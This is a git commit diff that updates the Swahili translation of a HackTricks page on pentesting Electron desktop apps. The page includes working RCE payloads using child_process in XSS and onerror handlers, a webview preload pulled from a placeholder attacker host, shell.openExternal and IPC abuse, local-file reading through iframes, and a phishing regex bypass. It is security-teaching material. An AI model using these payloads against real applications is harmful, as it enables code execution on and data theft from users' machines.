mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/electron
This commit is contained in:
parent
e87a9a854f
commit
131e0a8eb0
@ -1,30 +1,30 @@
|
||||
# Electron Desktop Apps
|
||||
# Programu za Desktop za Electron
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction
|
||||
## Utangulizi
|
||||
|
||||
Electron inachanganya backend wa ndani (pamoja na **NodeJS**) na frontend (**Chromium**), ingawa inakosa baadhi ya mitambo ya usalama ya vivinjari vya kisasa.
|
||||
Electron huunganisha backend ya ndani (ikiwa na **NodeJS**) na frontend (**Chromium**), ingawa ina upungufu wa baadhi ya mifumo ya usalama ya vivinjari vya kisasa.
|
||||
|
||||
Kawaida unaweza kupata msimbo wa programu ya electron ndani ya programu ya `.asar`, ili kupata msimbo unahitaji kuutoa:
|
||||
Mara nyingi unaweza kupata msimbo wa app ya electron ndani ya programu ya `.asar`; ili kupata msimbo unahitaji kuutoa:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Katika msimbo wa chanzo wa programu ya Electron, ndani ya `packet.json`, unaweza kupata faili ya `main.js` ambapo mipangilio ya usalama imewekwa.
|
||||
Katika msimbo wa chanzo wa app ya Electron, ndani ya `packet.json`, unaweza kupata faili `main.js` iliyobainishwa ambapo mipangilio ya usalama imewekwa.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
"main": "./app/index.js",
|
||||
```
|
||||
Electron ina aina 2 za michakato:
|
||||
Electron ina aina mbili za mchakato:
|
||||
|
||||
- Michakato Kuu (ina ufikiaji kamili wa NodeJS)
|
||||
- Michakato ya Renderer (inapaswa kuwa na ufikiaji wa NodeJS ulio na vizuizi kwa sababu za usalama)
|
||||
- Main Process (ina ufikiaji kamili wa NodeJS)
|
||||
- Renderer Process (inapaswa kuwa na ufikiaji mdogo wa NodeJS kwa sababu za usalama)
|
||||
|
||||
.png>)
|
||||
|
||||
**mchakato wa renderer** utakuwa dirisha la kivinjari linalopakia faili:
|
||||
Mchakato wa **renderer process** utakuwa dirisha la kivinjari linalopakia faili:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,20 +32,20 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Mipangilio ya **mchakato wa renderer** inaweza **kuwekwa** katika **mchakato mkuu** ndani ya faili ya main.js. Baadhi ya mipangilio itakayo **zuia programu ya Electron kupata RCE** au udhaifu mwingine ikiwa **mipangilio imewekwa vizuri**.
|
||||
Mipangilio ya **renderer process** yanaweza **kusanidiwa** katika **main process** ndani ya faili main.js. Baadhi ya mipangilio yatazuia programu ya Electron kupata **RCE** au udhaifu mwingine ikiwa **mipangilio imewekwa ipasavyo**.
|
||||
|
||||
Programu ya electron **inaweza kufikia kifaa** kupitia Node apis ingawa inaweza kuwekwa ili kuzuia hilo:
|
||||
Programu ya Electron inaweza **kufikia kifaa** kupitia Node apis ingawa inaweza kusanidiwa kuizuia:
|
||||
|
||||
- **`nodeIntegration`** - ime **zimwa** kwa chaguo-msingi. Ikiwa imewashwa, inaruhusu kufikia vipengele vya node kutoka kwa mchakato wa renderer.
|
||||
- **`contextIsolation`** - ime **washwa** kwa chaguo-msingi. Ikiwa imezimwa, michakato ya msingi na renderer siyo iliyotengwa.
|
||||
- **`nodeIntegration`** - kwa chaguo-msingi ni `off`. Ikiwa `on`, inaruhusu kufikia vipengele vya Node kutoka kwenye **renderer process**.
|
||||
- **`contextIsolation`** - kwa chaguo-msingi ni `on`. Ikiwa `off`, **main** na **renderer processes** hazitenganishwi.
|
||||
- **`preload`** - tupu kwa chaguo-msingi.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - imezimwa kwa chaguo-msingi. Itapunguza vitendo ambavyo NodeJS inaweza kufanya.
|
||||
- Uunganisho wa Node katika Wafanyakazi
|
||||
- **`nodeIntegrationInSubframes`** - ime **zimwa** kwa chaguo-msingi.
|
||||
- Ikiwa **`nodeIntegration`** ime **washwa**, hii itaruhusu matumizi ya **Node.js APIs** katika kurasa za wavuti ambazo zime **pakiwa katika iframes** ndani ya programu ya Electron.
|
||||
- Ikiwa **`nodeIntegration`** ime **zimwa**, basi preloads zitawekwa katika iframe.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - kwa chaguo-msingi ni `off`. Itazuia vitendo ambavyo NodeJS inaweza kufanya.
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`** - kwa chaguo-msingi ni `off`.
|
||||
- Ikiwa **`nodeIntegration`** imewezeshwa, hii itaruhusu matumizi ya **Node.js APIs** katika kurasa za wavuti zinazopakiwa ndani ya **iframes** ndani ya programu ya Electron.
|
||||
- Ikiwa **`nodeIntegration`** imezimwa, basi preloads zitaanzishwa ndani ya iframe
|
||||
|
||||
Mfano wa mipangilio:
|
||||
Mfano wa usanidi:
|
||||
```javascript
|
||||
const mainWindowOptions = {
|
||||
title: "Discord",
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
Baadhi ya **RCE payloads** kutoka [hapa](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
Baadhi ya **RCE payloads** kutoka [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -95,7 +95,7 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
||||
src="x"
|
||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Capture traffic
|
||||
### Kukamata trafiki
|
||||
|
||||
Badilisha usanidi wa start-main na ongeza matumizi ya proxy kama:
|
||||
```javascript
|
||||
@ -103,7 +103,8 @@ Badilisha usanidi wa start-main na ongeza matumizi ya proxy kama:
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
Ikiwa unaweza kutekeleza programu ya Electron kwa ndani, inawezekana kwamba unaweza kufanya itekeleze msimbo wa javascript wa kiholela. Angalia jinsi katika:
|
||||
Ikiwa unaweza kuendesha Electron App ndani ya mashine yako, inawezekana kwamba unaweza kuifanya itekeleze arbitrary javascript code. Angalia jinsi katika:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
@ -111,7 +112,7 @@ Ikiwa unaweza kutekeleza programu ya Electron kwa ndani, inawezekana kwamba unaw
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Ikiwa **nodeIntegration** imewekwa kuwa **on**, JavaScript ya ukurasa wa wavuti inaweza kutumia vipengele vya Node.js kwa urahisi kwa kuita `require()`. Kwa mfano, njia ya kutekeleza programu ya calc kwenye Windows ni:
|
||||
Ikiwa **nodeIntegration** imewekwa kuwa **on**, JavaScript ya ukurasa wa wavuti inaweza kutumia vipengele vya Node.js kwa urahisi kwa kupiga tu `require()`. Kwa mfano, njia ya kuendesha application ya calc kwenye Windows ni:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Script iliyoonyeshwa katika mipangilio hii inachukuliwa **kabla ya scripts nyingine katika renderer**, hivyo ina **ufikiaji usio na kikomo kwa Node APIs**:
|
||||
Script iliyotajwa katika mpangilio huu ni **imepakuliwa kabla ya scripts nyingine katika renderer**, hivyo ina **ufikiaji usio na kikomo kwa Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -132,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
Kwa hivyo, script inaweza kusafirisha node-features kwa kurasa:
|
||||
Kwa hivyo, script inaweza ku-export node-features kwa pages:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -148,20 +149,20 @@ runCalc()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
> [!NOTE] > **Ikiwa `contextIsolation` iko juu, hii haitafanya kazi**
|
||||
> [!NOTE] > **Ikiwa `contextIsolation` imewezeshwa, hii haitafanya kazi**
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
_**contextIsolation**_ inanzisha **muktadha tofauti kati ya skripti za ukurasa wa wavuti na msimbo wa ndani wa JavaScript wa Electron** ili utekelezaji wa JavaScript wa kila msimbo usiathiriane. Hii ni kipengele muhimu kuondoa uwezekano wa RCE.
|
||||
_**contextIsolation**_ huanzisha **muktadha tofauti kati ya scripts za ukurasa wa wavuti na code ya ndani ya Electron** ili utekelezaji wa JavaScript wa kila code usiathiriane. Hii ni sifa muhimu kuondoa uwezekano wa RCE.
|
||||
|
||||
Ikiwa muktadha haujawekwa kando, mshambuliaji anaweza:
|
||||
Kama muktadha haukutengwa, mshambuliaji anaweza:
|
||||
|
||||
1. Kutekeleza **JavaScript isiyo na mipaka katika renderer** (XSS au kuhamia kwenye tovuti za nje)
|
||||
2. **Kufuta njia iliyojengwa ndani** ambayo inatumika katika preload au msimbo wa ndani wa Electron ili kuwa na kazi yake
|
||||
3. **Kusababisha** matumizi ya **kazi iliyofutwa**
|
||||
1. Endesha **JavaScript yoyote katika renderer** (XSS au kuvinjari kwenda tovuti za nje)
|
||||
2. **Kuandika upya built-in method** ambayo inatumiwa katika preload au Electron internal code ili kudhibiti function
|
||||
3. **Kusababisha** matumizi ya **function iliyooandikwa upya**
|
||||
4. RCE?
|
||||
|
||||
Kuna maeneo 2 ambapo njia zilizojengwa ndani zinaweza kufutwa: Katika msimbo wa preload au katika msimbo wa ndani wa Electron:
|
||||
Kuna sehemu 2 ambapo built-int methods zinaweza kuandikwa upya: Katika preload code au katika Electron internal code:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -180,34 +181,34 @@ electron-contextisolation-rce-via-ipc.md
|
||||
|
||||
### Bypass click event
|
||||
|
||||
Ikiwa kuna vizuizi vilivyowekwa unapobofya kiungo, huenda ukawa na uwezo wa kuv bypass **ukifanya bofya katikati** badala ya bofya la kushoto la kawaida
|
||||
Kama kuna vizuizi vinavyotumika unapobofya link unaweza kuvipita kwa **kubofya kwa kitufe cha katikati (middle click)** badala ya bofya la kushoto la kawaida
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE kupitia shell.openExternal
|
||||
## RCE via shell.openExternal
|
||||
|
||||
Kwa maelezo zaidi kuhusu mifano hii angalia [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) na [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
Kwa taarifa zaidi kuhusu mifano hii angalia [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) na [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Wakati wa kupeleka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imeanzishwa kwamba **utendaji wa mbali wa msimbo wa mteja (RCE)** unaolenga skripti za preload au msimbo asilia wa Electron kutoka kwa mchakato mkuu unazuia kwa ufanisi na mipangilio hii ikiwa mahali.
|
||||
Wakati wa kupeleka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imebainishwa kwamba **client-side remote code execution (RCE)** inayolenga preload scripts au native code ya Electron kutoka main process inadhibitiwa kwa ufanisi ikiwa mipangilio hii imewekwa.
|
||||
|
||||
Wakati mtumiaji anapoingiliana na viungo au kufungua madirisha mapya, wasikilizaji maalum wa matukio huanzishwa, ambayo ni muhimu kwa usalama na utendaji wa programu:
|
||||
Wakati mtumiaji anapotumia viungo au kufungua madirisha mapya, wasikilizaji maalum wa matukio huanzishwa, ambayo ni muhimu kwa usalama na utendakazi wa programu:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Hawa wasikilizaji **wanabadilishwa na programu ya desktop** ili kutekeleza **mantiki ya biashara** yake. Programu inakadiria ikiwa kiungo kilichotembelewa kinapaswa kufunguliwa ndani au kwenye kivinjari cha mtandao cha nje. Uamuzi huu kawaida hufanywa kupitia kazi, `openInternally`. Ikiwa kazi hii inarudisha `false`, inaashiria kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia kazi ya `shell.openExternal`.
|
||||
Wasikilizaji hawa **wanabadilishwa na programu ya desktop** ili kutekeleza **mantiki ya biashara** yake. Programu huchunguza kama kiungo kilichofunguliwa kinapaswa kufunguliwa ndani ya programu au katika kivinjari cha wavuti cha nje. Uamuzi huu kawaida hufanywa kupitia function, `openInternally`. Ikiwa function hii inarudisha `false`, inaonyesha kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia function `shell.openExternal`.
|
||||
|
||||
**Hapa kuna pseudocode iliyo rahisishwa:**
|
||||
**Hapa kuna pseudocode iliyorahishwa:**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Miongozo bora ya usalama ya Electron JS inashauri kutochukua maudhui yasiyoaminika kwa kutumia kazi ya `openExternal`, kwani inaweza kusababisha RCE kupitia protokali mbalimbali. Mifumo ya uendeshaji inasaidia protokali tofauti ambazo zinaweza kusababisha RCE. Kwa mifano ya kina na maelezo zaidi juu ya mada hii, mtu anaweza kurejelea [rasilimali hii](https://positive.security/blog/url-open-rce#windows-10-19042), ambayo inajumuisha mifano ya protokali za Windows zinazoweza kutumia udhaifu huu.
|
||||
Electron JS security best practices yanapendekeza kutoikubali content isiyo ya kuaminika kwa kutumia `openExternal`, kwani inaweza kusababisha RCE kupitia protocols mbalimbali. Systems za uendeshaji zinaunga mkono protocols tofauti ambazo zinaweza kusababisha RCE. Kwa mifano ya kina na maelezo zaidi juu ya mada hii, unaweza kurejea [rasilimali hii](https://positive.security/blog/url-open-rce#windows-10-19042), ambayo inajumuisha Windows protocol examples zinazoweza kutumiwa ku-exploit ugumu huu.
|
||||
|
||||
Katika macos, kazi ya `openExternal` inaweza kutumiwa kutekeleza amri zisizo na mipaka kama katika `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
Katika macos, function ya `openExternal` inaweza kutumika vibaya kutekeleza amri yoyote kama katika `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Mifano ya unyakuzi wa protokali za Windows ni pamoja na:**
|
||||
**Mifano ya Windows protocol exploits ni pamoja na:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -227,17 +228,17 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
## RCE: webviewTag + preload IPC dhaifu + shell.openExternal
|
||||
|
||||
Hii vuln inaweza kupatikana katika **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
Udhaifu huu unaweza kupatikana katika **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
**webviewTag** ni **kipengele kilichopitwa na wakati** ambacho kinaruhusu matumizi ya **NodeJS** katika **mchakato wa renderer**, ambacho kinapaswa kuzuiwa kwani kinaruhusu kupakia script ndani ya muktadha wa preload kama:
|
||||
The **webviewTag** ni **sifa iliyokataliwa** inayoruhusu matumizi ya **NodeJS** katika **renderer process**, ambayo inapaswa kuzimwa kwa kuwa inaruhusu kupakia script ndani ya **preload context** kama:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Hivyo, mshambuliaji ambaye anafanikiwa kupakia ukurasa wowote anaweza kutumia lebo hiyo **kupakia skripti ya awali isiyo na mipaka**.
|
||||
Kwa hivyo, mshambuliaji anayefanikiwa kupakia ukurasa wowote anaweza kutumia tag hiyo ili **kupakia preload script yoyote**.
|
||||
|
||||
Skripti hii ya awali ilitumiwa vibaya kisha kuita **huduma ya IPC iliyo na udhaifu (`skype-new-window`)** ambayo ilikuwa ikitumia **`shell.openExternal`** kupata RCE:
|
||||
Preload script hii ilitumiwa vibaya kisha kuitisha **vulnerable IPC service (`skype-new-window`)** ambayo ilikuwa ikiita **`shell.openExternal`** ili kupata RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -250,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## Kusoma Faili za Ndani: XSS + contextIsolation
|
||||
|
||||
**Kuzima `contextIsolation` kunaruhusu matumizi ya `<webview>` tags**, sawa na `<iframe>`, kwa ajili ya kusoma na kutoa faili za ndani. Mfano uliotolewa unaonyesha jinsi ya kutumia udhaifu huu kusoma maudhui ya faili za ndani:
|
||||
**Kuzima `contextIsolation` kunaruhusu matumizi ya `<webview>` tags**, sawa na `<iframe>`, kwa kusoma na exfiltrating faili za ndani. Mfano ulioonyeshwa unaonyesha jinsi ya kutumia udhaifu huu kusoma yaliyomo ya faili za ndani:
|
||||
|
||||
.png>)
|
||||
|
||||
Zaidi, njia nyingine ya **kusoma faili ya ndani** inashirikiwa, ikionyesha udhaifu muhimu wa kusoma faili za ndani katika programu ya desktop ya Electron. Hii inahusisha kuingiza script ili kutumia programu na kutoa data:
|
||||
Zaidi ya hayo, njia nyingine ya **kusoma faili ya ndani** imewasilishwa, ikionyesha udhaifu muhimu wa kusoma faili za ndani katika Electron desktop app. Hii inahusisha kuingiza script ili kuitumia application na exfiltrate data:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -272,43 +273,43 @@ frames[0].document.body.innerText
|
||||
```
|
||||
## **RCE: XSS + Old Chromium**
|
||||
|
||||
Ikiwa **chromium** inayotumiwa na programu ni **ya zamani** na kuna **udhaifu** **ujulikanaji** juu yake, inaweza kuwa inawezekana **kuikabili na kupata RCE kupitia XSS**.\
|
||||
Ikiwa **chromium** inayotumiwa na programu ni **zamani** na kuna **vulnerabilities** zilizojulikana ndani yake, inaweza kuwa inawezekana kuitumia na kupata RCE kupitia XSS.\
|
||||
Unaweza kuona mfano katika **writeup** hii: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing kupitia Internal URL regex bypass**
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
Kukisia umepata XSS lakini **huwezi kuanzisha RCE au kuiba faili za ndani** unaweza kujaribu kuitumia **kuiba akidi kupitia phishing**.
|
||||
Iwapo umetambua XSS lakini **huwezi kusababisha RCE au kuiba faili za ndani**, unaweza kujaribu kuitumia kuiba **credentials kupitia phishing**.
|
||||
|
||||
Kwanza kabisa unahitaji kujua kinachotokea unapojaribu kufungua URL mpya, ukikagua msimbo wa JS katika front-end:
|
||||
Kwanza kabisa unahitaji kujua kinachotokea unapojaribu kufungua URL mpya, ukiangalia code ya JS katika front-end:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Kito cha **`openInternally`** kitaamua kama **kiungo** kitafunguliwa katika **dirisha la desktop** kwani ni kiungo kinachomilikiwa na jukwaa, **au** kama kitafunguliwa katika **browza kama rasilimali ya upande wa tatu**.
|
||||
Wito wa **`openInternally`** utaamua ikiwa **link** itafunguliwa katika **desktop window** kama ni link inayomilikiwa na platform, **au** itafunguliwa katika **browser kama 3rd party resource**.
|
||||
|
||||
Katika kesi ambapo **regex** inayotumika na kazi hiyo ni **dhaifu kwa kupita** (kwa mfano kwa **kutokuepusha nukta za subdomains**) mshambuliaji anaweza kutumia XSS ili **kufungua dirisha jipya ambalo** litakuwa katika miundombinu ya mshambuliaji **likiomba taarifa za kuingia** kwa mtumiaji:
|
||||
Katika kesi ambapo **regex** inayotumiwa na function ni **nyeti kwa bypasses** (kwa mfano kwa **kutokutoa escape kwa dots za subdomains**) mshambuliaji anaweza kutumia XSS kufungua **dirisha jipya ambalo** litakuwa kwenye miundombinu ya mshambuliaji **litaomba vigezo vya kuingia** kwa mtumiaji:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## `file://` Protocol
|
||||
## `file://` Protokoli
|
||||
|
||||
Kama ilivyotajwa katika [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) kurasa zinazotumia **`file://`** zina ufikiaji wa moja kwa moja kwa kila faili kwenye mashine yako, ikimaanisha kwamba **masuala ya XSS yanaweza kutumika kupakia faili zisizo za kawaida** kutoka kwa mashine ya mtumiaji. Kutumia **protokali maalum** kunazuia matatizo kama haya kwani unaweza kuzuia protokali hiyo kuhudumia seti maalum ya faili pekee.
|
||||
Kama ilivyotajwa katika [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) kurasa zinazoendeshwa kwa **`file://`** zina ufikiaji wa upande mmoja kwa kila faili kwenye mashine yako, ikimaanisha kwamba **masuala ya XSS yanaweza kutumika kupakia faili za aina yoyote** kutoka kwenye mashine ya mtumiaji. Kutumia **protokoli maalum** kunazuia matatizo kama haya kwa sababu unaweza kupunguza protokoli ili kutoa tu seti maalum ya faili.
|
||||
|
||||
## Remote module
|
||||
## Moduli ya Remote
|
||||
|
||||
Moduli ya Electron Remote inaruhusu **mchakato wa renderer kufikia APIs za mchakato mkuu**, ikirahisisha mawasiliano ndani ya programu ya Electron. Hata hivyo, kuwezesha moduli hii kunaingiza hatari kubwa za usalama. Inapanua uso wa shambulio la programu, na kuifanya kuwa nyeti zaidi kwa udhaifu kama shambulio la cross-site scripting (XSS).
|
||||
Moduli ya Remote ya Electron inaruhusu **mchakato za renderer kufikia API za mchakato mkuu**, ikirahisisha mawasiliano ndani ya programu ya Electron. Hata hivyo, kuamilisha moduli hii kunaweka hatari kubwa za usalama. Inapanua uso wa shambulio la programu, na kuifanya iwe nyeti zaidi kwa udhaifu kama cross-site scripting (XSS) attacks.
|
||||
|
||||
> [!TIP]
|
||||
> Ingawa moduli ya **remote** inafichua baadhi ya APIs kutoka kwa mchakato mkuu hadi kwa mchakato wa renderer, si rahisi kupata RCE kwa kutumia tu vipengele. Hata hivyo, vipengele vinaweza kufichua taarifa nyeti.
|
||||
> Ingawa moduli ya **remote** inaonyesha baadhi ya API kutoka mchakato mkuu hadi mchakato za renderer, sio rahisi kupata RCE kwa kumeza tu komponenti hizi. Hata hivyo, komponenti zinaweza kufichua taarifa nyeti.
|
||||
|
||||
> [!WARNING]
|
||||
> Programu nyingi ambazo bado zinatumia moduli ya remote zinafanya hivyo kwa njia ambayo **inahitaji NodeIntegration iwe imewezeshwa** katika mchakato wa renderer, ambayo ni **hatari kubwa ya usalama**.
|
||||
> Programu nyingi ambazo bado zinatumia moduli ya **remote** hufanya hivyo kwa njia inayohitaji **NodeIntegration iwe imewezeshwa** katika mchakato wa renderer, jambo ambalo ni **hatari kubwa ya usalama**.
|
||||
|
||||
Tangu Electron 14, moduli ya `remote` ya Electron inaweza kuwezeshwa katika hatua kadhaa kwa sababu ya sababu za usalama na utendaji, ni **pendekezo kutotumia**.
|
||||
Tangu Electron 14, moduli ya `remote` ya Electron inaweza kuwa imewezishwa kwa hatua kadhaa; kutokana na sababu za usalama na utendaji, inashauriwa **kutoitumia**.
|
||||
|
||||
Ili kuweza kuifanya, inahitajika kwanza **kuwezesha katika mchakato mkuu**:
|
||||
Ili kuiwezesha, kwanza inahitajika **kuiwezesha katika mchakato mkuu**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -319,35 +320,37 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Kisha, mchakato wa renderer unaweza kuagiza vitu kutoka kwa moduli kama:
|
||||
Kisha, mchakato wa renderer unaweza kuingiza vitu kutoka kwenye module kama ifuatavyo:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** inaonyesha baadhi ya **functions** za kuvutia zilizowekwa na kitu **`app`** kutoka kwa moduli ya mbali:
|
||||
Mchapisho wa **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** unaonyesha baadhi ya **functions** za kuvutia zinazotolewa na object **`app`** kutoka kwa remote module:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Inaanzisha upya** programu kwa **kutoka** kwenye mfano wa sasa na **kuanzisha** mpya. Inafaida kwa **maktaba za programu** au mabadiliko makubwa ya **hali**.
|
||||
- **Inazindua upya** programu kwa **kuexit** instance ya sasa na **kuanzisha** mpya. Inafaa kwa **app updates** au mabadiliko makubwa ya **state**.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Inafafanua** au **inaunda** directory ya kuhifadhi **app logs**. Logs zinaweza **kupatikana** au **kubadilishwa** kwa kutumia **`app.getPath()`** au **`app.setPath(pathName, newPath)`**.
|
||||
- **Huweka** au **huunda** saraka kwa ajili ya kuhifadhi **app logs**. Logs zinaweza **kutolewa** au **kubadilishwa** kwa kutumia **`app.getPath()`** au **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Inasajili** executable ya sasa kama **mshughulikiaji wa kawaida** kwa **protocol** maalum. Unaweza kutoa **path** ya kawaida na **hoja** ikiwa inahitajika.
|
||||
- **Inasajili** executable ya sasa kama **default handler** kwa **protocol** maalum. Unaweza kutoa **custom path** na **arguments** ikiwa zinahitajika.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Inazidisha** kazi kwenye **Kikundi cha Kazi** katika **Jump List** (kwenye Windows). Kila kazi inaweza kudhibiti jinsi programu inavyo **anzishwa** au ni **hoja** zipi zinazopelekwa.
|
||||
- **Inaongeza** tasks kwenye **Tasks category** katika **Jump List** (Windows). Kila task inaweza kudhibiti jinsi app inavyofunguliwa (**launched**) au ni **arguments** gani zinapitishwa.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Inaleta** **PKCS#12 certificate** kwenye **store** ya vyeti ya mfumo (Linux pekee). **Callback** inaweza kutumika kushughulikia matokeo.
|
||||
- **Inaingiza** **PKCS#12 certificate** kwenye **certificate store** ya mfumo (Linux tu). **Callback** inaweza kutumika kushughulikia matokeo.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Inahamisha** programu kwenye **folda ya Maombi** (kwenye macOS). Inasaidia kuhakikisha **ufungaji wa kawaida** kwa watumiaji wa Mac.
|
||||
- **Inahamisha** programu kwenye **Applications folder** (macOS). Husaidia kuhakikisha **standard installation** kwa watumiaji wa Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Inaanzisha** au **inatoa** **Jump List** ya **kawaida** kwenye **Windows**. Unaweza kubainisha **makundi** ili kuandaa jinsi kazi zinavyoonekana kwa mtumiaji.
|
||||
- **Inatengeneza** au **inaondoa** **custom Jump List** kwenye **Windows**. Unaweza kuainisha **categories** kupanga jinsi tasks zinavyoonekana kwa mtumiaji.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Inapanga** ni **executables** zipi zinaanzishwa wakati wa **kuingia** pamoja na **chaguzi** zao (macOS na Windows pekee).
|
||||
- **Inabainisha** executable zipi zinaanza wakati wa **login** pamoja na **options** zao (macOS na Windows tu).
|
||||
|
||||
Example:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences module
|
||||
|
||||
API **kuu** ya kufikia mapendeleo ya mfumo na **kutolea matukio ya mfumo** katika Electron. Mbinu kama **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, na **setUserDefault** zote ni **sehemu ya** moduli hii.
|
||||
API kuu kwa kufikia mipangilio ya mfumo na kutoa matukio ya mfumo katika Electron. Mbinu kama **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, na **setUserDefault** zote ni **sehemu ya** moduli hii.
|
||||
|
||||
**Mfano wa matumizi:**
|
||||
```javascript
|
||||
@ -364,33 +367,33 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Inasikiliza** **arifa za asili za macOS** kwa kutumia NSDistributedNotificationCenter.
|
||||
* Kabla ya **macOS Catalina**, ungeweza kunusa **arifa zote** zilizotolewa kwa kupitisha **nil** kwa CFNotificationCenterAddObserver.
|
||||
